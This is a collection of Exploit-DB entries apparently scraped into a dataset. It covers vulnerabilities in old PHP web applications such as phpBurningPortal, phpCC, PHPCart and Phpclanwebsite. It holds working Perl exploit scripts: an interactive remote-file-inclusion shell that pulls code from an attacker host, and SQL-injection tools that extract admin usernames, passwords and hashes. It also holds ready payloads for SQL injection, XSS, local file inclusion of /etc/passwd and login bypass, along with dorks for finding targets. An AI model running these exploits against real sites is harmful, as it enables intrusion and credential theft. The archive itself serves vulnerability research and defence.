deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2563
Description: phpBurningPortal 1.0.1 - 'lang_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-15
Author: r0ut3r

Exploit:
#!/usr/bin/perl

use LWP::UserAgent;
use LWP::Simple;

$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$fileno = @ARGV[3];

if(!$target || !$shellsite)
{
    usage();
}

header();

if ($fileno eq 1)
{
    $file = "quest_delete.php?lang_path=";
}
elsif ($fileno eq 2)
{
    $file = "quest_edit.php?lang_path=";
}
elsif ($fileno eq 3)
{
    $file = "quest_news.php?lang_path=";
}
else
{
    $file = "quest_delete.php?lang_path=";
}

print "[cmd]\$";
$cmd = <STDIN>;

while ($cmd !~ "exit")
{
    $xpl = LWP::UserAgent->new() or die;
        $req =
HTTP::Request->new(GET=>$target'/modules/includes/'.$file.$shellsite.'?&'.$shellcmd.'='.$cmd)
or die("\n\n Failed to connect.");
        $res = $xpl->request($req);
        $r = $res->content;
        $r =~ tr/[\n]/[&#234;]/;

    if (@ARGV[4] eq "-r")
    {
        print $r;
    }

    print "[cmd]\$";
    $cmd = <STDIN>;
}

sub header()
{
    print q
    {
########################################################################
    phpBurningPortal quiz-modul-1.0.1 - Remote File Include Exploit
               Vulnerability discovered and exploit by r0ut3r
                       writ3r@gmail.com
            For portal administrator testing purposes only!
########################################################################
    };
}

sub usage()
{
header();
    print q
    {
########################################################################
Usage:
perl q_xpl.pl <Target website> <Shell Location> <CMD Variable> <No> <r>
<Target Website> - Path to target eg: www.qvuln.target.com
<Shell Location> - Path to shell eg: www.badserver.com/s.txt
<CMD Variable> - Shell command variable name eg: cmd
<No> - File number, corresponding to:
1: quest_delete.php
2: quest_edit.php
3: quest_news.php
<r> - Show output from shell
Example:
perl a.pl http://localhost http://localhost/s.txt cmd 1 -r
########################################################################
    };
exit();
}

# milw0rm.com [2006-10-15]
Exploit-DB #26440
Description: PHPCafe Tutorial Manager - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-31
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/15244/info

PHPcafe Tutorial Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id='[SQL]
http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id=-10%20union%20select%20name,name,name%20from%20pc_admins/*
http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id=-10%20union%20select%20name,pass,name%20from%20pc_admins/*
Exploit-DB #11082
Description: PHPCalendars - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-10
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Forever RevengeHack.Com-Ar-Ge.Org Acildi

==============================================================================  

        [»] PHPCalendars  Multi Vulnerability 

==============================================================================  

   

    [»] Script:             [  PHPCalendars  ]  

    [»] Language:           [ PHP ]  

    [»] Download:           [ http://scripti.org/script_calendarstore-alisveris-scripti_1256_21.html] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com & LionTurk.Turkblog.com }

    [»] My Home:            [ RevengeHack.com and Ar-ge.Org ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://server/[dizin]/product_list.php?cat=1[XSS-Vuln] 
  [»] http://server/[dizin]/install.php


 


  [»] Powered by the PHPCalendars Script
 




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Ben Ne Heykirlar Gordum  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D
            Kisisel Blogum:LionTurk.Turkblog.com

                                 


###########################################################################
Exploit-DB #25548
Description: PHPCart - Input Validation
Type: webapps
Platform: php
Date: 2005-04-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13406/info

PHPCart is prone to a remote input validation vulnerability. The issue exists because the software fails to sufficiently sanitize URI parameter data that is employed when computing product charges.

A remote attacker may exploit this issue to manipulate invoice and payment charges for a specific PHPCart order. 

http://www.example.com/phpcart.php?action=add&id=1002&descr=Mobile%20Phone&price=0&postage=&quantity=100
Exploit-DB #33461
Description: PHPCart 3.1.2 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-01
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37567/info

PHPCart is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PHPCart 3.1.2 is vulnerable; other versions may also be affected.

http://www.example.com/admin/search.php?action=submit&order_id=[xss]
Exploit-DB #2134
Description: phpCC 4.2 Beta - 'base_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Solpot

Exploit:
#############################SolpotCrew Community################################
#
#        phpCC - Beta 4.2 (base_dir) Remote File Inclusion 
#
#        Download file : http://www.phpcc.at/download_file1.html
#
#################################################################################
#
#
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (06-08-2006)
#
#       contact: chris_hasibuan@yahoo.com 
# 
#       Website : http://www.solpotcrew.org/adv/solpot-adv-05.txt
#
################################################################################
#
#
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet
#              Blue|spy , cah|gemblung , Slacky , blind_boy
#              and all member solpotcrew community @ http://solpotcrew.org/forum/
#
#
###############################################################################
Input passed to the "base_dir" is not properly verified 

before being used to include files. This can be exploited to execute 
arbitrary PHP code by including files from local or external resources.

code from login.php

<?php
define('PHPCC', true);
define('SITE', 'login.php');

include($base_dir."includes/common.php");
include($base_dir."includes/header.php");

switch( $_GET['action'] )

code from reactivate.php

define('PHPCC', true);

include($base_dir."includes/config.php");
include($base_dir."includes/constants.php");
include($base_dir."includes/functions.php");
include($base_dir.'includes/sessions.php');

if( $_POST['submit'] == true )

code from register.php

<?php
define('PHPCC', true);
define('SITE', 'register.php');

include( $base_dir . "includes/common.php" );
include( $base_dir . "includes/header.php" );

Google dork : "Powered by phpCC Beta 4.2"

exploit : http://somehost/login.php?base_dir=http://evilcode
          http://somehost/reactivate.php?base_dir=http://evilcode
          http://somehost/register.php?base_dir=http://evilcode

##############################MY LOVE JUST FOR U RIE#########################
######################################E.O.F##################################

# milw0rm.com [2006-08-07]
Exploit-DB #3299
Description: PHPCC 4.2 Beta - 'nickpage.php?npid' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-13
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: phpCC Beta <= 4.2 (nickpage.php npid) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.phpcc.at
#[$$         : Free
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   	phpCC Beta <= 4.2 (nickpage.php npid) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/nickpage.php?action=sign_gb&npid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len < 10000){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1'%20union%20select%201,2,3,4,5,6,7,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20userdata%20where%20id=".$ID."/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?) pas/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-02-13]
Exploit-DB #11585
Description: phpCDB 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-02-27
Author: cr4wl3r

Exploit:
##############################################################
##phpCDB <= 1.0 Local File Include Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/phpcdb/files/
##############################################################
PoC:
 [phpcdb_path]/firstvisit.php?lang_global=[LFI%00]
 [phpcdb_path]/newfolder.php?lang_global=[LFI%00]
 [phpcdb_path]/showfolders.php?lang_global=[LFI%00]
 [phpcdb_path]/newlang.php?lang_global=[LFI%00]
 [phpcdb_path]/showinnerfolder.php?lang_global=[LFI%00]
 [phpcdb_path]/writecode.php?lang_global=[LFI%00]
 [phpcdb_path]/showcode.php?lang_global=[LFI%00]
##############################################################txt
Exploit-DB #15284
Description: phpCheckZ 1.1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-10-19
Author: Salvatore Fresta

Exploit:
phpCheckZ 1.1.0 Blind SQL Injection Vulnerability

 Name              phpCheckZ
 Vendor            http://www.phpcheckz.com
 Versions Affected 1.1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-10-19

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

phpCheckZ is a web application that allows you to  easily
create checklists for your website. 


II. DESCRIPTION
_______________

A parameter is not properly sanitised  before  being used
in a SQL query.


III. ANALYSIS
_____________

Summary:

 A) Blind SQL Injection
 

A) Blind SQL Injection
______________________

The parameters id in chart.php is  not properly sanitised
before being used in a SQL  query. This  can be exploited
to manipulate SQL queries by injecting arbitrary SQL code.

Successful exploitation  requires that "magic_quotes_gpc"
is disabled. 


IV. SAMPLE CODE
_______________

A) Blind SQL Injection

http://site/path/chart.php?id=1' AND '1'='1
http://site/path/chart.php?id=1' AND '1'='0


V. FIX
______

No fix.
Exploit-DB #3837
Description: phpChess Community Edition 2.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-05-03
Author: GoLd_M

Exploit:
# phpChess Community Edition 2.0 Multiple Remote File Inclusion Vulnerabilities
# D.Script: http://www.phpchess.net/index-3.html
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/skins/phpchess/layout_admin_cfg.php?Root_Path=Shell
# Exploit:[Path]/skins/phpchess/layout_cfg.php?Root_Path=Shell
# Exploit:[Path]/skins/phpchess/layout_t_top.php?Root_Path=Shell
# Greetz To: Tryag-Team .....##

# milw0rm.com [2007-05-03]
Exploit-DB #9395
Description: PHPCityPortal - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-07
Author: CoBRa_21

Exploit:
******************************************************************************************
Script Name: PHPCityPortal (Auth Bypass) SQL Injection Vulnerability
 
Author:   CoBRa_21
 
Mail:    uyku_cu@windowslive.com
 
Script Page:  http://phpcityportal.com/
 
DOrk:    intext:"Powered by PHPCityPortal.com"
 
******************************************************************************************
EXPLOIT
 
Username: 'or'
 
Password: 'or'
 
http://localhost/[path]/login.php
 
Demo: http://phpcityportal.com/demo/login.php
 
******************************************************************************************

# milw0rm.com [2009-08-07]
Exploit-DB #11678
Description: PhpCityPortal - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-10
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: suffer from multi SQL !NJECTON Vulnerability
[~] Vendor: phpcityportal.com
[?] Software : PhpCityPortal
[-] pR!CE :
-PURCHASE 1 LICENSE - $149 each
-PURCHASE 3 LICENSES - $119 each
-PURCHASE 5 LICENSES - $99 each
-PURCHASE 6 OR MORE LICENSES PLEASE CONTACT US FOR PRICING.

[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 10.MAR.2010
[?] T!ME: 04:15 pm GMT
[?] Home: WwW.xP10.ME
[?]
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????

SQL Injection:

[*] Err0r C0N50L3:

http://TARGET/P47H/video_show.php?id=SQL

http://TARGET/P47H/spotlight_detail.php?id=SQL

http://TARGET/P47H/real_estate_details.php?id=sql

http://TARGET/P47H/auto_details.php?id=sql


[~] {EV!L EXPLO!T}:

[*]FORb!d3N


Remote File Inclusion:

[*] Err0r C0N50L3:

http://TARGET/P47H/external.php?url=include your fucken evil shell


[~] {EV!L EXPLO!T}:

like:
http://server/external.php?url=http://xp10.me

N073:

REAL RED DEV!L W@S h3r3 LAMERZ


GAZA !N our hearts !


[~]-----------------------------{((MAGOUSH-87))}---------------------------------------


[~] Greetz tO: dolly & MERNA & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush-1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca &((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t))

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]---------------------------------------------------------------------------------------------
Exploit-DB #32669
Description: PHPcksec 0.2 - 'PHPcksec.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-17
Author: ahmadbady

Exploit:
source: https://www.securityfocus.com/bid/32890/info

The 'phpcksec' script is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

This issue affects phpcksec 0.2.0; other versions may also be affected.


http://www.example.com/path/phpcksec.php?path=>\'><ScRiPt >alert(0);</ScRiPt>
Exploit-DB #27109
Description: Phpclanwebsite 1.23.1 - BBCode IMG Tag Script Injection
Type: webapps
Platform: php
Date: 2005-12-28
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/16300/info

Phpclanwebsite is prone to a script-injection vulnerability.

An attacker can nest BBCode IMG tags to trigger this issue and execute arbitrary code in a user's browser.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible.

Reports have not specified which version is vulnerable. The current version (1.23.1) is assumed to be vulnerable; other versions may also be affected.

The following proof of concept is available:

[img]javascript:alert('XSS')[/img]
Exploit-DB #1453
Description: Phpclanwebsite 1.23.1 - SQL Injection
Type: webapps
Platform: php
Date: 2006-01-25
Author: matrix_killer

Exploit:
#!perl
#Phpclanwebsite 1.23.1 SQL injection exploit by matrix_killer
#Greets to all omega-team members[and specially to EcLiPsE] and also to h4cky0u[h4cky0u.org], Alpha-Fan, Chameleon and all my friends
#The exploit was tested on phpclan's website and it worked + my local server and on ra4ev.com
#But on versions below 1.23.1 it doesn't seem to work

use IO::Socket;
$host = $ARGV[0];
$path = $ARGV[1];
$topic = $ARGV[2];
$id = $ARGV[3];

if (@ARGV < 4) {
  print "---------------------------------------------------------\n";
  print "-- Phpclanwebsite 1.23.1 SQL Injection sploit --\n";
  print "-- (C)oded by matrix_killer --\n";
  print "-- Contact: matrix_k\@abv.bg || matrix_killer\@ra4ev.com --\n";
  print "-- Usage: $0 [host] [path] [topic] [id] --\n";
  print "-- Ex: $0 127.0.0.1 cws 2 2 --\n";
  print "---------------------------------------------------------\n";
  exit();
}
$sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || die "Can't establish a connection\n";

print $sock "GET /$path/index.php?page=forum&func=post&par=$topic HTTP/1.1\n";
print $sock "User-Agent: Mozilla/4.0\n";
print $sock "Host: $host\n\n";
while ($asd = <$sock>) {
        if ($asd =~ /Set-Cookie:/gi) {
             $asd =~ /cuser_id=([a-zA-Z0-9]{32})/;
             $cookie = $1;
        }
}
$sock->close;

$socket = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || die "Can't establish a connection\n";
print "-- Connection Established --\n";

print $socket "GET /$path/index.php?page=forum&func=post&par=$topic%20UNION%20SELECT%20null,null,null,null,null,null,password,null%20FROM%20cws_members%20WHERE%20member_id=$id/* HTTP/1.0\n";
print $socket "User-Agent: Mozilla/4.0\n";
print $socket "Host: $host\n";
print $socket "Cookie: cuser_id=$cookie; chitcounter=hitcounter\n\n";
print "-- Waiting... --\n";

while($ans = <$socket>) {
       if ($ans =~ /([a-zA-Z0-9]{32})/){
            if ($ans =~ /cookie/i) {
                 next;
            }
            print "\nmember id: $id \n";
            print "md5 hash: $1 \n";
            exit;
       }
}
print "Sorry there s33ms to be a problem\n";

# milw0rm.com [2006-01-25]
Exploit-DB #7515
Description: phpclanwebsite 1.23.3 fix pack #5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-12-18
Author: s4avrd0w

Exploit:
Phpclanwebsite <= 1.23.3 Fix Pack #5 (File Including/SQL/XSS) Multiple Remote Vulnerabilities

The description:
The set vulnerability in CMS Phpclanwebsite versions 1.23.3 Fix Pack #5 and more low was revealed.

1. Multiple File Including Vulnerabilities

Vulnerability exists for the reason that direct access to some files, around logicians of work of the appendix is possible.
It gives the chance to redefine internal variables which are transferred as arguments in function include ().
Examples of vulnerable files:
/theme/superchrome/box.php?boxname=../../../../../etc/passwd%00
/phpclanwebsite/footer.php?theme=../../../../../etc/passwd%00
etc

The note:
For vulnerability operation the following options PHP are required: register_globals=On and magic_quotes_gpc=Off

2. Multiple SQL Injection Vulnerabilities

The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any SQL Injection.
Examples of vulnerable files:
SQL Injection (insert) -
 /index.php?page='SQL
SQL Injection (delete) -
 /index.php?page=processforms&ok=1&SP=1&form_id=2
 , where "form_id" the identifier of the deleted user
SQL Injection (select) -
 /index.php?page=login
 POST:pcwlogin='SQL&pcw_pass='SQL

 /index.php?page=login
 POST:pcwlogin=1'+OR+1=1--&pcw_pass=1

SQL Injection (select) -
 /index.php?page=downloads&func=search
 POST:searchvalue='SQL&whichfield=SQL

 /index.php?page=downloads&func=search
 POST:searchvalue=1&whichfield=dl_name>1)+limit+0+union+select+tag,2,3,login,5,6,7,email,9,password,11,12,13,14,15+from+cws_members--
etc

The note:
For operation of all SQL Injection vulnerabilities, except vulnerability in parametre "whichfield", are required disconnected magic_quotes_gpc.

3. Multiple Cross-site Scripting Vulnerabilities

The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any code in a context of a user browser.
Examples of vulnerable files:
/index.php?page='><script>alert('XSS')</script>
etc

# milw0rm.com [2008-12-18]